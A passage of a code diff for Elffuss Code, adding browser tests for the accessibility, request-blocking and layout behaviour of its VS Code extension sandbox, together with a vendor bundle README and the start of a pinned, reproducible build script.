354+const bridgeRun = (page, cmd, arg, slot) => page.evaluate(([cmd, arg, slot]) => { window[slot] = import('/js/ext2/bridge.js').then(b => b.runCommand(cmd, arg === null ? undefined : [arg])); }, [cmd, arg ?? null, slot]);
355+const runningWith = (page, id) => until(() => page.evaluate(async id => { const s = (await import('/js/ext2/bridge.js')).state(); return s.state === 'running' && s.extensions.find(e => e.id === id)?.state === 'active'; }, id), { timeout: 90000 });
356+{
357+ const { ctx, page } = await profile({ mock: false });
358+ await seed(page, [UI, SORT]);
359+ await openIde(page);
360+ ok('X8 premise: the sandbox runs the UI fixture', !!(await runningWith(page, 'elffuss-test.ui')));
361+ await page.evaluate(async () => { await (await import('/js/ide.js')).openFile('fruits.txt'); window.monaco.editor.getEditors()[0].focus(); });
362+ const inEditor = () => page.evaluate(() => !!document.activeElement?.closest('#editor'));
363+ const toastWith = text => until(() => page.evaluate(text => [...document.querySelectorAll('#x2-toasts .x2-toast')].some(x => x.textContent.includes(text)), text));
364+ // F6: del editor al aviso y de vuelta
365+ await bridgeRun(page, 'x2ui.question', null, '__q');
366+ await toastWith('x2 question');
367+ const hint = await page.evaluate(() => [...document.querySelectorAll('#x2-toasts .x2-toast')].find(x => x.textContent.includes('x2 question'))?.querySelector('.x2-sr')?.textContent || '');
368+ ok('X8 a notification that waits for an answer tells screen readers how to reach it (F6)', /Press F6 to reach its buttons/.test(hint), hint);
369+ const start = await inEditor();
370+ await page.keyboard.press('F6');
371+ const f1 = await page.evaluate(() => (document.activeElement?.closest('#x2-toasts') ? document.activeElement.textContent : null));
372+ await page.keyboard.press('F6');
373+ const back1 = await inEditor();
374+ await page.keyboard.press('F6');
375+ await page.keyboard.press('Tab');
376+ const f2 = await page.evaluate(() => document.activeElement?.textContent);
377+ await page.keyboard.press('Enter');
378+ const ans1 = await page.evaluate(() => window.__q);
379+ const back2 = await until(inEditor);
380+ ok('X8 F6 from the editor reaches the notification’s buttons, F6 again goes back; answering returns the focus to the editor', start && f1 === 'Keep' && back1 && f2 === 'Drop' && ans1 === 'Drop' && !!back2,
381+ JSON.stringify({ start, f1, back1, f2, ans1, back2 }));
382+ // la paleta de Code: «Extensiones: ir al aviso», solo mientras hay uno
383+ await bridgeRun(page, 'x2ui.question', null, '__q2');
384+ await toastWith('x2 question');
385+ await page.keyboard.press(`${MOD}+Shift+KeyP`);
386+ await page.waitForSelector('#palette:not([hidden])');
387+ await page.fill('#pal-input', '>go to the notification');
388+ const palRow = await until(() => page.evaluate(() => { const r = document.querySelector('#palette .pal-item'); return r ? r.querySelector('.pi-name').textContent + ' | ' + r.querySelector('.pi-hint').textContent : null; }));
389+ await page.keyboard.press('Enter');
390+ const f3 = await until(() => page.evaluate(() => (document.activeElement?.closest('#x2-toasts') ? document.activeElement.textContent : null)));
391+ await page.keyboard.press('Escape');
392+ const ans2 = await page.evaluate(() => window.__q2);
393+ const notBody = await until(() => page.evaluate(() => document.activeElement && document.activeElement !== document.body));
394+ ok('X8 Code’s palette offers "Extensions: Go to the notification" (F6) while one is shown; Escape closes the notification and the focus does not fall to the page',
395+ palRow === 'Extensions: Go to the notification | F6' && f3 === 'Keep' && ans2 === 'undefined' && !!notBody, JSON.stringify({ palRow, f3, ans2, notBody }));
396+ await page.keyboard.press(`${MOD}+Shift+KeyP`);
397+ await page.waitForSelector('#palette:not([hidden])');
398+ await page.fill('#pal-input', '>go to the notification');
399+ await sleep(300);
400+ const gone = await page.evaluate(() => [...document.querySelectorAll('#palette .pal-item .pi-name')].some(x => x.textContent === 'Extensions: Go to the notification'));
401+ await page.keyboard.press('Escape');
402+ ok('X8 …and the entry goes away with the last notification', !gone);
403+ // un aviso sin botones: no se va mientras el ratón o el foco están en él
404+ await page.evaluate(() => window.monaco.editor.getEditors()[0].focus());
405+ await bridgeRun(page, 'x2ui.note', null, '__n');
406+ await toastWith('x2 note');
407+ const note = page.locator('#x2-toasts .x2-toast', { hasText: 'x2 note' });
408+ await note.hover();
409+ await sleep(10500);
410+ const whileHovered = await note.count();
411+ await page.keyboard.press('F6');
412+ await page.mouse.move(5, 5);
413+ await sleep(10500);
414+ const whileFocused = await note.count();
415+ const onClose = await page.evaluate(() => document.activeElement?.classList.contains('x2-toast-close'));
416+ await page.keyboard.press('Enter');
417+ const noteRes = await page.evaluate(() => window.__n);
418+ const back3 = await until(inEditor);
419+ ok('X8 a notification without buttons stays while hovered or focused (its 9 s pause), and closing it gives the focus back to the editor',
420+ whileHovered === 1 && whileFocused === 1 && onClose && noteRes === 'closed' && !!back3, JSON.stringify({ whileHovered, whileFocused, onClose, noteRes, back3 }));
421+ // el selector y el cuadro de texto: Tab no sale, Escape desde sus botones, Espacio con filtro
422+ await bridgeRun(page, 'x2ui.ask', null, '__ask');
423+ await page.click('#x2-toasts .x2-toast:has-text("x2 asks") .x2-toast-buttons button:has-text("Yes")');
424+ await until(() => page.evaluate(() => !!document.querySelector('#x2-dialog [role="dialog"]')));
425+ await page.keyboard.press('Escape');
426+ await until(() => page.evaluate(() => { const p = document.getElementById('x2-pick'); return p && !p.classList.contains('x2-inputbox') && !p.querySelector('[aria-multiselectable]'); }));
427+ const where = () => page.evaluate(() => { const a = document.activeElement; return a?.closest('#x2-pick, #x2-input') ? (a.tagName === 'INPUT' ? 'input' : a.textContent) : 'OUT ' + (a?.id || a?.tagName); });
428+ const tabs1 = [];
429+ for (let i = 0; i < 3; i++) { await page.keyboard.press('Tab'); tabs1.push(await where()); }
430+ await page.keyboard.press('Escape');
431+ await until(() => page.evaluate(() => !!document.querySelector('#x2-pick [aria-multiselectable]')));
432+ await page.keyboard.type('t');
433+ await page.keyboard.press('Space');
434+ await page.keyboard.press('ArrowDown');
435+ await page.keyboard.press('Space');
436+ const multi = await page.evaluate(() => { const p = document.getElementById('x2-pick'); return { value: p.querySelector('input').value, checked: [...p.querySelectorAll('.x2-pick-item')].map(r => r.querySelector('.x2-pick-label').textContent + ':' + r.getAttribute('aria-checked')), ph: p.querySelector('input').placeholder }; });
437+ await page.keyboard.press('Enter');
438+ await until(() => page.evaluate(() => !!document.querySelector('#x2-input input')));
439+ const tabs2 = [];
440+ for (let i = 0; i < 3; i++) { await page.keyboard.press('Tab'); tabs2.push(await where()); }
441+ await page.keyboard.press('Tab');
442+ await page.keyboard.press('Escape');
443+ const res = JSON.parse(await page.evaluate(() => window.__ask) || '{}');
444+ ok('X8 quick pick: Tab stays inside it, and Escape from its Cancel button closes it', JSON.stringify(tabs1) === JSON.stringify(['Cancel', 'input', 'Cancel']) && res.pick === undefined, JSON.stringify({ tabs1, pick: res.pick }));
445+ ok('X8 several to pick: Space checks the highlighted one even with a filter typed (and says so)', multi.value === 't' && JSON.stringify(multi.checked) === JSON.stringify(['two:false', 'three:true'])
446+ && JSON.stringify(res.many) === '["three"]' && /Space checks the highlighted one/.test(multi.ph), JSON.stringify({ multi, many: res.many }));
447+ ok('X8 input box: Tab stays inside it, and Escape from a button closes it', JSON.stringify(tabs2) === JSON.stringify(['Cancel', 'OK', 'input']) && res.input === undefined, JSON.stringify({ tabs2, input: res.input }));
448+ await ctx.close();
449+}
450+
451+// ── X9: «Bloquear peticiones» y desbloquear; X10: apagar todo y el botón de cada una ──
452+{
453+ const { ctx, page } = await profile({ mock: false });
454+ await seed(page, [UI]);
455+ await openIde(page);
456+ ok('X9 premise: the sandbox runs the UI fixture', !!(await runningWith(page, 'elffuss-test.ui')));
457+ const dialog = () => until(() => page.evaluate(() => { const d = document.querySelector('#x2-open [role="dialog"]'); return d ? { code: d.querySelector('.x2-code').textContent, buttons: [...d.querySelectorAll('button')].map(b => b.textContent) } : null; }));
458+ await bridgeRun(page, 'x2ui.open', 'https://blocked.example/a', '__o1');
459+ await dialog();
460+ await page.click('#x2-open button:has-text("Block requests for this session")');
461+ const r1 = await page.evaluate(() => window.__o1);
462+ await bridgeRun(page, 'x2ui.open', 'https://blocked.example/b', '__o2');
463+ const r2 = await page.evaluate(() => window.__o2);
464+ const sb = await page.textContent('#statusbar');
465+ const noDialog = await page.evaluate(() => !document.querySelector('#x2-open'));
466+ ok('X9 after "Block requests for this session" an extension’s next address is not opened, and the status bar says why', r1 === 'false' && r2 === 'false' && noDialog && /blocked for this session/.test(sb || ''), JSON.stringify({ r1, r2, noDialog, sb }));
467+ await page.evaluate(async () => { await (await import('/js/ide.js')).openFile('fruits.txt'); const ed = window.monaco.editor.getEditors()[0]; ed.getModel().setValue('see https://docs.example/page now\n'); ed.setPosition({ lineNumber: 1, column: 8 }); ed.focus(); });
468+ // (los enlaces los calcula el worker del editor: se reintenta hasta que el enlace existe)
469+ let link = null;
470+ for (let i = 0; i < 10 && !link; i++) {
471+ await sleep(500);
472+ await page.evaluate(() => window.monaco.editor.getEditors()[0].getAction('editor.action.openLink').run());
473+ link = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-open [role="dialog"]'); return d ? { code: d.querySelector('.x2-code').textContent, buttons: [...d.querySelectorAll('button')].map(b => b.textContent) } : null; }), { timeout: 1500 });
474+ }
475+ ok('X9 …but the user’s own link in the editor still asks, with no Block button (that one is for extensions)', !!link && link.code === 'https://docs.example/page' && !link.buttons.includes('Block requests for this session'), JSON.stringify(link));
476+ await page.keyboard.press('Escape');
477+ await page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().setValue('pear\napple\nfig\n'));
478+ await panel(page);
479+ const line = await until(() => page.evaluate(() => { const p = document.querySelector('#ext-installed .ext-x2-runtime'); return p && !p.hidden && /blocked/.test(p.textContent) && p.querySelector('.ext-x2-unblock') ? p.textContent : null; }));
480+ await page.focus('#ext-installed .ext-x2-unblock');
481+ await page.keyboard.press('Enter');
482+ const unblocked = await until(() => page.evaluate(() => { const m = document.getElementById('ext-msg')?.textContent || ''; return /ask to open an address again/.test(m) ? { focus: document.activeElement?.id, line: document.querySelector('#ext-installed .ext-x2-runtime')?.textContent } : null; }));
483+ await page.click('#settings-close');
484+ await bridgeRun(page, 'x2ui.open', 'https://blocked.example/c', '__o3');
485+ const again = await dialog();
486+ await page.keyboard.press('Escape');
487+ ok('X9 the Extensions panel says requests are blocked, with Unblock; after it the focus is on the Installed heading, it is announced, and the next request asks again',
488+ !!line && /1 not opened/.test(line) && unblocked?.focus === 'ext-installed-h' && !/blocked/.test(unblocked.line || '') && again?.code === 'https://blocked.example/c', JSON.stringify({ line, unblocked, again }));
489+ // X10
490+ await panel(page);
491+ const btnOf = () => page.locator('#ext-installed .ext-row[data-id="elffuss-test.ui"] [data-k="x2run"]').evaluate(b => ({ label: b.getAttribute('aria-label'), pressed: b.getAttribute('aria-pressed'), text: b.textContent }));
492+ const t1 = await btnOf();
493+ await page.focus('#ext-installed .ext-x2-alloff');
494+ await page.keyboard.press('Enter');
495+ const off = await until(() => page.evaluate(() => { const m = document.getElementById('ext-msg')?.textContent || ''; return /Extension code turned off/.test(m) && !document.querySelector('#ext-installed .ext-x2-alloff') ? { focus: document.activeElement?.id, role: document.getElementById('ext-msg').getAttribute('role') } : null; }));
496+ const t2 = await btnOf();
497+ ok('X10 "Turn off all extension code": the focus goes to the Installed heading and the result is announced', off?.focus === 'ext-installed-h' && off.role === 'status', JSON.stringify(off));
498+ ok('X10 the run button names its action and has no aria-pressed: "Turn off the code of X2 ui" running, "Run the code of X2 ui" off', t1.pressed === null && t1.label === 'Turn off the code of X2 ui' && t1.text === 'Turn off code'
499+ && t2.pressed === null && t2.label === 'Run the code of X2 ui' && t2.text === 'Run code', JSON.stringify({ t1, t2 }));
500+ await ctx.close();
501+}
502+
503+// ── X4b: en un teléfono (360×640), una dirección larga ──
504+{
505+ const { ctx, page } = await profile({ width: 360, height: 640, mock: false });
506+ await seed(page, [UI]);
507+ await openIde(page);
508+ ok('X4b premise: at 360 px the sandbox runs the UI fixture', !!(await runningWith(page, 'elffuss-test.ui')));
509+ const LONG = 'https://github.com/search?q=' + Array.from({ length: 300 }, (_, i) => 'word' + i).join('+') + '&type=code';
510+ await bridgeRun(page, 'x2ui.open', LONG, '__long');
511+ const g = await until(() => page.evaluate(() => {
512+ const d = document.querySelector('#x2-open [role="dialog"]');
513+ if (!d) return null;
514+ const inView = e => { if (!e) return false; const r = e.getBoundingClientRect(), b = d.getBoundingClientRect(); return r.top >= b.top - 1 && r.bottom <= b.bottom + 1 && r.top >= 0 && r.bottom <= innerHeight; };
515+ const box = d.querySelector('.x2-code'), sites = d.querySelectorAll('.x2-site');
516+ return { scrollTop: d.scrollTop, title: inView(d.querySelector('.x2-modal-title')), site: inView(sites[0]), siteAgain: inView(sites[1]), again: sites[1]?.textContent || '',
517+ focus: document.activeElement?.textContent, focusInView: inView(document.activeElement), boxScrolls: box.scrollHeight > box.clientHeight, code: box.textContent, sw: document.documentElement.scrollWidth, w: innerWidth };
518+ }));
519+ ok('X4b at 360×640 a long address: the dialog opens at its top with the title and the site in view, the address scrolls in its own box, the site is repeated by the buttons, and Cancel has the focus in view',
520+ !!g && g.scrollTop === 0 && g.title && g.site && g.siteAgain && /Site: github\.com/.test(g.again) && g.boxScrolls && g.focus === 'Cancel' && g.focusInView && g.sw <= g.w, JSON.stringify({ ...g, code: g?.code.length }));
521+ ok('X4b the address is the one the extension asked for, with its query readable (= & +, not %3D %26 %2B)', g?.code === LONG, String(g?.code).slice(0, 120));
522+ await page.keyboard.press('Escape');
523+ // y el aviso de una extensión no tapa el prompt del chat en un teléfono
524+ await bridgeRun(page, 'x2ui.question', null, '__q');
525+ const cover = await until(() => page.evaluate(() => {
526+ const t = [...document.querySelectorAll('#x2-toasts .x2-toast')].find(x => x.textContent.includes('x2 question'));
527+ const pr = document.getElementById('prompt');
528+ if (!t || !pr) return null;
529+ const a = t.getBoundingClientRect(), b = pr.getBoundingClientRect();
530+ const visible = b.width > 0 && b.height > 0;
531+ return { overlaps: visible && a.left < b.right && a.right > b.left && a.top < b.bottom && a.bottom > b.top, visible };
532+ }));
533+ ok('X4b at 360 px a notification does not cover the chat prompt', !!cover && !cover.overlaps, JSON.stringify(cover));
534+ await page.keyboard.press('F6');
535+ await page.keyboard.press('Escape');
536+ await ctx.close();
537+}
538+
539+// ── X11: las pestañas que ya estaban abiertas al arrancar el recinto también las ve ──
540+{
541+ const { ctx, page } = await profile({ mock: false });
542+ await seed(page, [FMT]);
543+ await openIde(page);
544+ const before = await page.evaluate(async () => {
545+ const ide = await import('/js/ide.js');
546+ await ide.openFile('app.js');
547+ await ide.openFile('fruits.txt');
548+ const b = performance.getEntriesByType('resource').some(e => e.name.includes('/js/ext2/bridge.js')) ? (await import('/js/ext2/bridge.js')).state().state : 'not loaded';
549+ return b;
550+ });
551+ const fmt = await until(() => page.evaluate(async () => { const s = (await import('/js/ext2/bridge.js')).state(); return s.state === 'running' ? s.extensions.find(e => e.id === 'elffuss-test.fmt')?.state || null : null; }).then(x => (x === 'active' ? x : null)), { timeout: 90000 });
552+ const active = await page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().getLanguageId());
553+ ok('X11 a JavaScript tab opened before the sandbox ran starts the extension that waits for JavaScript, without visiting it again', before !== 'running' && fmt === 'active' && active === 'plaintext', JSON.stringify({ before, fmt, active }));
554+ await ctx.close();
555+}
556+
557+// ── X12: en español, lo que dice el nivel 2 está en español ──
558+{
559+ const ctx = await browser.newContext({ locale: 'es-ES', viewport: { width: 1280, height: 860 } });
560+ await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
561+ const page = await ctx.newPage();
562+ page.on('pageerror', e => { if (e.message !== 'Canceled') errors.push(e.message); });
563+ await page.goto(srv.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
564+ await seed(page, [SORT]);
565+ await openIde(page);
566+ ok('X12 premise: the sandbox runs sort', !!(await until(() => page.evaluate(async () => (await import('/js/ext2/bridge.js')).state().state === 'running'), { timeout: 90000 })));
567+ await page.evaluate(() => { if (!(document.getElementById('ext-panel')?.isConnected && !document.getElementById('settings-panel').hidden)) document.getElementById('act-ext').click(); });
568+ const keys = await until(() => page.evaluate(() => { const d = document.querySelector('#ext-installed .ext-row[data-id="elffuss-test.sort"] .ext-x2-keys'); return d ? d.textContent : null; }));
569+ ok('X12 the keybindings that were not bound say why in Spanish', !!keys && /reservado por Elffuss Code o el navegador/.test(keys) && !/reserved by/.test(keys), String(keys));
570+ await ctx.close();
571+}
572+
573+// ── X6: el aspecto de Code, igual con y sin extensiones de código ──
574+const SELECTORS = ['body', '#ide', '#activity', '#tree', '#tabs-bar', '#tabs-bar .tab', '#tabs-bar .tab.active', '#editor', '#statusbar', '#chat-log',
575+ '#prompt', '#btn-send', '#conv-tabs .tab', '#palette', '#pal-input', '#palette .pal-item', '#settings-panel', '#ext-panel', '#ext-q', '#ext-results .ext-row',
576+ '#ext-results .ext-install', '.ext-chip', '.monaco-editor', '.monaco-editor .view-lines', '#act-ext'];
577+const PROPS = ['color', 'background-color', 'font-family', 'font-size', 'font-weight', 'line-height', 'padding-top', 'padding-right', 'padding-bottom', 'padding-left',
578+ 'margin-top', 'margin-bottom', 'border-top-width', 'border-top-style', 'border-top-color', 'border-radius', 'display', 'position', 'z-index', 'box-shadow', 'opacity', 'cursor', 'letter-spacing', 'text-transform'];
579+async function looks(withCode) {
580+ const { ctx, page } = await profile();
581+ if (withCode) await seed(page, [NOOP]);
582+ await openIde(page);
583+ await page.evaluate(async () => { await (await import('/js/ide.js')).openFile('app.js'); });
584+ if (withCode) await until(() => page.evaluate(async () => (await import('/js/ext2/bridge.js')).state().state === 'running'), { timeout: 90000 });
585+ await panel(page);
586+ await search(page, 'elffuss-ux');
587+ await until(async () => (await page.locator('#ext-results .ext-row').count()) === fixtures.length);
588+ const css = await page.evaluate(() => [...document.styleSheets].map(s => s.href || 'inline').filter(h => /ext2\.css/.test(h)).length);
589+ const panelStyles = await page.evaluate(({ SELECTORS, PROPS }) => Object.fromEntries(SELECTORS.filter(s => !s.includes('pal')).map(s => {
590+ const e = document.querySelector(s);
591+ return [s, e ? Object.fromEntries(PROPS.map(p => [p, getComputedStyle(e).getPropertyValue(p)])) : null];
592+ })), { SELECTORS, PROPS });
593+ await page.click('#settings-close').catch(() => page.keyboard.press('Escape'));
594+ await page.evaluate(() => window.monaco.editor.getEditors()[0].focus());
595+ await page.keyboard.press(`${process.platform === 'darwin' ? 'Meta' : 'Control'}+KeyP`);
596+ await page.waitForSelector('#palette:not([hidden])');
597+ await page.fill('#pal-input', 'a');
598+ await sleep(300);
599+ const palStyles = await page.evaluate(({ SELECTORS, PROPS }) => Object.fromEntries(SELECTORS.filter(s => s.includes('pal')).map(s => {
600+ const e = document.querySelector(s);
601+ return [s, e ? Object.fromEntries(PROPS.map(p => [p, getComputedStyle(e).getPropertyValue(p)])) : null];
602+ })), { SELECTORS, PROPS });
603+ await ctx.close();
604+ return { styles: { ...panelStyles, ...palStyles }, css };
605+}
606+const plain = await looks(false);
607+const withCode = await looks(true);
608+const missing = SELECTORS.filter(s => !plain.styles[s]);
609+const differ = SELECTORS.filter(s => JSON.stringify(plain.styles[s]) !== JSON.stringify(withCode.styles[s]))
610+ .map(s => s + ': ' + PROPS.filter(p => plain.styles[s]?.[p] !== withCode.styles[s]?.[p]).map(p => `${p} ${plain.styles[s]?.[p]} → ${withCode.styles[s]?.[p]}`).join(', '));
611+ok('X6 premise: all 25 elements exist, and ext2.css is loaded only with code running', !missing.length && plain.css === 0 && withCode.css > 0, JSON.stringify({ missing, css: [plain.css, withCode.css] }));
612+ok(`X6 the computed styles of Code’s 25 elements are identical with and without code extensions (${PROPS.length} properties each)`, !differ.length, differ.slice(0, 4).join(' | '));
613+
614+ok('no page errors', errors.length === 0, errors.slice(0, 3).join(' | '));
615+await browser.close();
616+await srv.close();
617+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
618+process.exit(fails ? 1 : 0);
added vendor/vscode-ext2/.node-version +1 −0
@@ -0,0 +1,1 @@
1+25.6.1
added vendor/vscode-ext2/.npmrc +5 −0
@@ -0,0 +1,5 @@
1+ignore-scripts=true
2+save-exact=true
3+engine-strict=true
4+fund=false
5+audit=false
added vendor/vscode-ext2/README.md +144 −0
@@ -0,0 +1,144 @@
1+# Level 2 vendor bundle
2+
3+The runtime that lets Elffuss Code run the code of VS Code web extensions:
4+a headless VS Code (`@codingame/monaco-vscode-api` 37.3.11, VS Code 1.138.0)
5+that runs inside a sandbox iframe on a separate site with no network. Code's
6+own JavaScript stays buildless; only this bundle is built, and only here.
7+
8+This folder is the only place in the repository where npm runs.
9+
10+## What it produces
11+
12+Three single-file ES modules, gzipped, plus the licences of what they bundle:
13+
14+| File | Role |
15+|---|---|
16+| `sandbox-main.js.gz` | VS Code services, extension manager, hidden mirror editor |
17+| `exthost-worker.js.gz` | the extension host, which runs extension code in a worker |
18+| `editor-worker.js.gz` | VS Code's editor worker for the mirror editor |
19+| `LICENSES.txt` | every bundled package's licence |
20+
21+They go to `web/vendor/x2/<buildId>/`, which git ignores. The `buildId` is the
22+first 16 hex characters of a sha256 over the files' hashes, so it changes
23+exactly when the bytes change. The build also writes
24+`web/js/ext2/vendor-manifest.json` (committed, a few KB): sizes, the sha256 of
25+each raw file and an SRI value for each `.gz`. Code's page checks both before
26+it hands a byte to the sandbox (`web/js/ext2/vendor.js`).
27+
28+Not shipped: jschardet (LGPL-2.1), the code-page tables of
29+`@vscode/iconv-lite-umd`, `@vscode/diff` (a wasm binary and its own worker)
30+and VS Code's keyboard layout tables. `src/stubs/` replaces them with small
31+stand-ins; the sandbox only ever sees UTF-8 text and never receives key
32+events.
33+
34+## Build
35+
36+```sh
37+cd vendor/vscode-ext2
38+npm ci --ignore-scripts # .npmrc also sets ignore-scripts
39+node build.mjs
40+```
41+
42+`build.mjs` refuses to run on any Node version other than `.node-version`, or
43+when an installed package differs from the lockfile. It fails, writing
44+nothing, when:
45+
46+- the path sweep finds anything (below);
47+- an entry produces more than one file;
48+- the three `.gz` files together exceed 2.8 MB (`BUDGET_GZ` in `postbuild.mjs`).
49+
50+The `.gz` files are written by `postbuild.mjs` itself (level 9, no time stamp,
51+no OS byte). Their bytes depend on Node's zlib, so they are reproducible for
52+the pinned Node version on the same CPU architecture; the raw files, and so
53+the `buildId`, do not depend on zlib.
54+
55+## Checks
56+
57+```sh
58+node verify-repro.mjs # two clean builds in different folders: byte-identical, equal to the committed manifest
59+node sweep.mjs # sweep the built folder named by the manifest
60+node sweep.mjs --list <dir> # print every generic hit with its context, to review an allowlist change
61+node check-output.mjs # the built folder against the manifest: only its files, SRI, sha256, sweep
62+```
63+
64+`verify-repro.mjs` needs 15 GB of free disk and puts its temporary folders
65+under `$X2_REPRO_TMP` (default: the system temp folder).
66+
67+The sweep fails on the user name, the home folder, the build folder or the
68+repository folder anywhere in the output, including inside base64 `data:`
69+URLs. Generic patterns (home prefixes of macOS, Linux and Windows, file URLs
70+and source-map comments) are allowed only when the exact hit is listed in
71+`sweep-allowlist.json` with its count. A hit is identified by the sha256 of
72+the literal it sits in (up to 40 characters either side, cut at quotes and
73+line breaks), so renamed minified code around it does not change the list,
74+but any new literal, or a different count, fails the build. Today's allowed
75+hits are VS Code's own help-text example paths and its file-URL checks.
76+
77+## Where it is served from
78+
79+From Code's own origin, `https://code.elffuss.com/vendor/x2/<buildId>/…`, with:
80+
81+```
82+location ^~ /vendor/x2/ { default_type application/octet-stream; gzip off;
83+ add_header Cache-Control "public, max-age=31536000, immutable";
84+ add_header X-Content-Type-Options nosniff always; }
85+```
86+
87+`application/octet-stream` keeps browsers from decoding the `.gz` on their own:
88+the page decompresses it with `DecompressionStream`, then checks the sha256 of
89+the raw bytes. That works whatever transfer compression a proxy adds.
90+
91+Cache-Control has no `always`, so nginx adds it only to successful responses.
92+With `always`, a 404 for a build that is not on the server yet would be cached
93+as immutable for a year; because the `buildId` is a content hash, uploading
94+the same bytes afterwards would not reach the browsers that cached the
95+failure: only a new `buildId` would. `tests/x2_headers.mjs` (H5) checks that a
96+missing file is not cached that way, also against a deployment.
97+
98+Nothing is published to npm or a CDN, and nothing large goes into git.
99+
100+## Deploy
101+
102+0. **Merge first.** Only this branch's `deploy.sh` protects `vendor/x2/` from
103+ its `rsync --delete`; a Code deploy from a tree without that filter (main
104+ today) deletes the uploaded bundle. `deploy-vendor.sh` refuses to run until
105+ `main`'s `deploy.sh` has the filter.
106+1. `./deploy-vendor.sh` (repository root; reads `ELFFUSS_HOST` and
107+ `ELFFUSS_KEY`, like `deploy.sh`). It checks the local folder against the
108+ manifest (`check-output.mjs`: exactly the manifest's files and nothing
109+ else), uploads only those files with `rsync --ignore-existing` (never
110+ `--delete`), then requires the server's folder to hold exactly those files
111+ with the manifest's sha256 sums.
112+2. `./deploy.sh`, which ships the manifest naming the new `buildId`. A normal
113+ deploy neither uploads nor deletes anything under `vendor/x2/`. Once level
114+ 2 is live (the manifest enabled and `web/js/ext2/config.js` naming a
115+ sandbox for Code), it refuses to ship a manifest whose build the server
116+ does not hold, byte for byte (`check-output.mjs --manifest-sums`, from the
117+ manifest alone).
118+
119+If a browser still finds a build missing (a partial upload, a pruned
120+rollback), level 2 fails closed and the default path is unaffected; the
121+failure is not cached as long as Cache-Control has no `always` (above). Old
122+builds stay until a manual prune keeps the last three; reverting the
123+manifest and redeploying is the rollback. Setting `"enabled": false` in the
124+manifest is the global kill switch.
125+
126+## Upgrade checklist
127+
128+1. Bump the exact versions in `package.json` (all `@codingame/*` packages
129+ and the `monaco-editor` alias together).
130+2. `npm install --ignore-scripts`, then `node build.mjs`,
131+ `node verify-repro.mjs` and `node sweep.mjs`. Review any allowlist change
132+ with `--list`.
133+3. Check that the library's `webWorkerExtensionHostIframe.html` still matches
134+ `sandbox/x2/v1/exthost-iframe.html` apart from the CSP meta, and that its
135+ inline-script hash is unchanged.
136+4. Diff the API-surface snapshot (`tests/x2-surface.json`, rewritten with
137+ `node tests/x2_smoke.mjs --update`) and review the RPC allowlist
138+ (`web/js/ext2/rpc-allowlist.json`): every actor must be either allowed or
139+ listed in `deniedActors`, and `node tests/x2_unit.mjs` fails until it is.
140+5. Run all suites in both modes, plus the canary.
141+6. Re-run the runtime census (`tests/x2_census.mjs`).
142+
143+No library source is patched on disk; every hook is a runtime wrap in
144+`web/js/ext2/sandbox-relay.js`.
added vendor/vscode-ext2/build.mjs +83 −0
@@ -0,0 +1,83 @@
1+#!/usr/bin/env node
2+// Builds the level 2 vendor bundle for Elffuss Code.
3+//
4+// npm ci --ignore-scripts (once; npm never runs anywhere else in the repo)
5+// node build.mjs → web/vendor/x2/<buildId>/ + web/js/ext2/vendor-manifest.json
6+// node build.mjs --out <dir> → <dir>/vendor/x2/<buildId>/ + <dir>/js/ext2/vendor-manifest.json
7+//
8+// Steps: refuse to run on another Node version or with installed packages that
9+// differ from the pins; one Vite build per entry (one ES module file each, every
10+// asset inlined, no source map); then postbuild.mjs (gzip, hashes, buildId,
11+// licences, manifest) and sweep.mjs (no machine paths). Any failure stops the
12+// build before anything is written to the output folder.
13+import fs from 'node:fs';
14+import path from 'node:path';
15+import { fileURLToPath } from 'node:url';
16+
17+const HERE = path.dirname(fileURLToPath(import.meta.url));
18+const REPO = path.resolve(HERE, '../..');
19+
20+export function checkToolchain() {
21+ const want = fs.readFileSync(path.join(HERE, '.node-version'), 'utf8').trim();
22+ if (process.versions.node !== want) {
23+ throw new Error(`This build only runs on Node ${want} (this is ${process.versions.node}): the output must be byte-identical everywhere.`);
24+ }
25+ const pkg = JSON.parse(fs.readFileSync(path.join(HERE, 'package.json'), 'utf8'));
26+ const lock = JSON.parse(fs.readFileSync(path.join(HERE, 'package-lock.json'), 'utf8'));
27+ const bad = [];
28+ for (const [name, spec] of Object.entries({ ...pkg.dependencies, ...pkg.devDependencies })) {
29+ const alias = /^npm:(@?[^@]+)@(.+)$/.exec(spec);
30+ const realName = alias ? alias[1] : name;
31+ const version = alias ? alias[2] : spec;
32+ if (!/^\d+\.\d+\.\d+$/.test(version)) bad.push(`${name}: "${spec}" is not an exact version`);
33+ let installed = null;
34+ try { installed = JSON.parse(fs.readFileSync(path.join(HERE, 'node_modules', name, 'package.json'), 'utf8')); } catch { /* missing */ }
35+ if (!installed) { bad.push(`${name} is not installed (run npm ci --ignore-scripts)`); continue; }
36+ if (installed.name !== realName || installed.version !== version) bad.push(`${name}: installed ${installed.name}@${installed.version}, pinned ${realName}@${version}`);
37+ }
38+ // every package npm put in node_modules must be the one the lockfile names
39+ for (const [key, entry] of Object.entries(lock.packages || {})) {
40+ if (!key || entry.optional) continue;
41+ let installed = null;
42+ try { installed = JSON.parse(fs.readFileSync(path.join(HERE, key, 'package.json'), 'utf8')); } catch { /* missing */ }
43+ if (!installed) bad.push(`${key} is missing (run npm ci --ignore-scripts)`);
44+ else if (installed.version !== entry.version) bad.push(`${key}: installed ${installed.version}, lockfile ${entry.version}`);
45+ }
46+ if (bad.length) throw new Error('Installed packages do not match the pins:\n ' + bad.join('\n '));
47+}
48+
49+export async function buildRaw(rawDir) {
50+ const { build } = await import('vite');
51+ const { ENTRIES, configFor } = await import('./vite.config.mjs');
52+ fs.rmSync(rawDir, { recursive: true, force: true });
53+ const out = {};
54+ for (const entry of ENTRIES) {
55+ const dir = path.join(rawDir, entry);
56+ await build(configFor(entry, { outDir: dir }));
57+ const files = fs.readdirSync(dir).sort();
58+ const js = files.filter(f => f.endsWith('.js'));
59+ const extra = files.filter(f => !f.endsWith('.js') && !f.endsWith('.licenses.json'));
60+ if (js.length !== 1 || js[0] !== entry + '.js' || extra.length) {
61+ throw new Error(`${entry}: expected exactly one file ${entry}.js, got ${files.join(', ')}`);
62+ }
